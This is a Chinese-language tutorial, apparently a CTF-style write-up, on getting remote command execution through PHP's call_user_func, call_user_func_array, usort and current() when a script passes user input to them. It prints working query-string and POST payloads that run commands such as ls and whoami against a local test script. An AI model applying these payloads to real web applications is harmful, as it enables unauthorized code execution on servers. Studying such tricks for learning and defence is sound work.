当前位置: 首页 > news >正文

网站优化年报告seo整站优化费用

网站优化年报告,seo整站优化费用,网站建设汇报ppt,网页欣赏网站一 引言 system 是 PHP 的内置函数,直接传递 system(而不是字符串 system)会导致 语法错误(system 会被当作常量,未定义时会报错)。 [a > ls] 是一个关联数组,但 system() 函数只接受 字符…

 一

引言

  • system 是 PHP 的内置函数,直接传递 system(而不是字符串 'system')会导致 语法错误system 会被当作常量,未定义时会报错)。

  • ['a' => 'ls'] 是一个关联数组,但 system() 函数只接受 字符串参数(要执行的命令),无法直接处理数组

方法一

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func($action, ...$parameters);

在这题我们需要传入两个参数(action、parameters)action是通过GET传入而parameters是直接就可以传入,再call_user_func()函数中$acrion作为回调函数的位置,所以我们要传入执行函数如system等,第二个传入参数的位置是要带入回调函数执行,所以我们可以在parameters这里输入我们的执行语句如ls、whoami。当我传入

localhost:8000/test.php?action=system&1=whoami

但是我发现传入的时候是1=whoami这是一个数组(引言)

这时候$parameters前面有...可以看出这是一个可变参数(接收任意数量的参数),那么我便可以传入数组

我想看一下如果是call_user_func_array是不是可以不用...就可以直接执行 因为array会循环进入system里面执行。

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}$a = call_user_func_array($action, $parameters);

 可以可以

方法二

usort(array &$array, callable $callback)

usort函数传入的参数第二个是回调函数可以将第一个传入的参数放入第二个执行,那么我们的第二个方案就来了。

?action=usort&0[0]=system&0[1]=ls&1=call_user_func

在这里面第一个里面传入[0][0]=system,[0][1]=ls,[1]=call_user_func。usort就会将它这样排列

call_user_func(system,ls)

system(ls)

就可以顺利执行我们来断点调试一下。

 

跟我们想的一样

 

二 

方法一

<?php$action = $_GET['action'];
$parameters = $_GET;
if (isset($parameters['action'])) {unset($parameters['action']);
}call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

这一题跟上一题的变化是将可变参数删除,在后面添加了($_POST['a'])($_POST[;b'])

主播在看到这道题的想法是两个POST传入的参数肯定是有用的跟第一题的方法肯定不一样

php里面有一个函数current

<?php
$transport = array('foot', 'bike', 'car', 'plane');
$mode = current($transport); // $mode = 'foot';
$mode = next($transport);    // $mode = 'bike';
$mode = current($transport); // $mode = 'bike';
$mode = prev($transport);    // $mode = 'foot';
$mode = end($transport);     // $mode = 'plane';
$mode = current($transport); // $mode = 'plane';$arr = array();
var_dump(current($arr)); // bool(false)$arr = array(array());
var_dump(current($arr)); // array(0) { }
?>

指针指向最后输入的那个plane

我们再来看 

 call_user_func($action, $parameters)($_POST['a'])($_POST['b']);

主播将可以将它分为三个部分看

首先执行的是call_user_func($acrion,$parameters)-->one

one($_POST['a'])--->twe

two($_POST['b'])

那么我可以使用current函数首先我们第一个call_user_func里面可以这样传入

 $action=current&x=current

这样call_user_func(current,'x'=>'current')

这样输出的就是current函数

就变成了current($_POST['a'])

这样指针自然就指向了输入的这个值a就变成了

a($_POST['b'])

这时候主播就有想法了

我们将a传入system

b传入执行语句如ls是不是就可以执行了

 

这里的时候报错了我的发??? 

说主播传入的不是一个string类型 

ok嘛他认为我传入的system是一个假的字符串OK嘛

刚刚主播发现在array里面传入就会被自动加上''那么我可以将传入的a变为一个数组这样就ok了

 

 

 ok啊

方法二

Closure::fromCallable闭包函数

 也有回调函数。是不是也可以利用呢 明天再写

http://www.dtcms.com/a/407778.html

相关文章:

  • 【系统分析师】2025年上半年真题:综合知识-答案及详解(回忆版)
  • 0、计算机硬件 —— 主板
  • 做网站需要的流程东莞网站关键词优化收费
  • 基于 OpenCV Eigenfaces 的人脸识别实战与原理解析
  • 网站开发工程师职责wordpress post 插件
  • 预处理 讲解
  • Redis持久化:RDB和AOF
  • 盛泽做网站的怎么做自己下单的网站
  • Java 大视界 -- Java 大数据在智能公交调度优化与准点率提升中的应用实践(416)
  • dw做网站字体 别人电脑显示怎么用phpcmf做网站
  • 如何用ad做网站免费游戏大全
  • 简简单单搭建一个oss服务
  • 做网站简单需要什么网页美工设计的要点分别是什么
  • SQL SERVER 查看锁表
  • 网站链接视频怎么做兴县做网站的公司
  • 专业的网站制作公司哪家好北京网站制作公司兴田德润在那里
  • 【通信】LNA释义
  • html网页设计 静态网页模板 前端html页面模板
  • 前端路由原理及特点
  • 手机里面的网站怎么制作巢湖网 网站
  • 人员徘徊检测的智能视觉分析技术与应用
  • 第三十五天:移除元素
  • 上海网站怎么备案网站开发 注意事项
  • mysql字符串截取,如何在MySQL备份文件中安全截取敏感字符串?
  • RAG技术与应用—基础
  • 英语学习-Saints018
  • 阿里巴巴上面可以做网站wordpress淘客采集
  • 深度学习入门:从神经网络基础到模型训练优化
  • 衡水做网站建设还有那个网站可以做兼职呢
  • 机器人控制:SDO和PDO在实际应用中如何配置和使用?